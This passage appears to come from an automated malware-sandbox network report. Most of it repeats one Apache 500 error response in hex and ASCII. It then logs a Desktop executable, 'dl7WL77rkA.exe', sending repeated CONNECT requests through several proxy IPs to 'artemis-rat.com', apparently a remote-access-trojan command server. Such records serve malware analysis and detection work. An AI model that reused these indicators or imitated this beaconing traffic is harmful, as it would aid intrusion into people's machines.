Mar 11, 2024 03:31:06.579030037 CET	749	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:06 GMT Server: Apache/2.4.56 (Win64) OpenSSL/3.0.8 mod_jk/1.2.43 Content-Length: 530 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 61 64 6d 69 6e 40 65 78 61 6d 70 6c 65 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at admin@example.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>
Mar 11, 2024 03:31:07.241755962 CET	749	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:06 GMT Server: Apache/2.4.56 (Win64) OpenSSL/3.0.8 mod_jk/1.2.43 Content-Length: 530 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 61 64 6d 69 6e 40 65 78 61 6d 70 6c 65 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at admin@example.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>
Mar 11, 2024 03:31:08.169958115 CET	749	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:06 GMT Server: Apache/2.4.56 (Win64) OpenSSL/3.0.8 mod_jk/1.2.43 Content-Length: 530 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 61 64 6d 69 6e 40 65 78 61 6d 70 6c 65 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at admin@example.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>
Mar 11, 2024 03:31:10.005670071 CET	749	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:06 GMT Server: Apache/2.4.56 (Win64) OpenSSL/3.0.8 mod_jk/1.2.43 Content-Length: 530 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 61 64 6d 69 6e 40 65 78 61 6d 70 6c 65 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at admin@example.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>
Mar 11, 2024 03:31:13.683154106 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:06 GMT Server: Apache/2.4.56 (Win64) OpenSSL/3.0.8 mod_jk/1.2.43 Content-Length: 530 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 61 64 6d 69 6e 40 65 78 61 6d Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at admin@exam
Mar 11, 2024 03:31:17.346360922 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:06 GMT Server: Apache/2.4.56 (Win64) OpenSSL/3.0.8 mod_jk/1.2.43 Content-Length: 530 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 61 64 6d 69 6e 40 65 78 61 6d Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at admin@exam
Mar 11, 2024 03:31:21.023890018 CET	749	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:06 GMT Server: Apache/2.4.56 (Win64) OpenSSL/3.0.8 mod_jk/1.2.43 Content-Length: 530 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 61 64 6d 69 6e 40 65 78 61 6d 70 6c 65 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at admin@example.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>
Mar 11, 2024 03:31:28.366847038 CET	749	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:06 GMT Server: Apache/2.4.56 (Win64) OpenSSL/3.0.8 mod_jk/1.2.43 Content-Length: 530 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 61 64 6d 69 6e 40 65 78 61 6d 70 6c 65 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at admin@example.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>
Mar 11, 2024 03:31:43.033998966 CET	749	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:06 GMT Server: Apache/2.4.56 (Win64) OpenSSL/3.0.8 mod_jk/1.2.43 Content-Length: 530 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 61 64 6d 69 6e 40 65 78 61 6d 70 6c 65 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at admin@example.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2163	192.168.2.5	53292	103.125.154.233	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.279284954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2164	192.168.2.5	53341	8.222.239.209	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.285044909 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.389487028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.405348063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:03.405445099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2165	192.168.2.5	55113	184.170.245.148	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.287230968 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2166	192.168.2.5	55463	206.220.175.2	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.320280075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2167	192.168.2.5	53456	192.163.202.88	60964	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.344108105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.389483929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
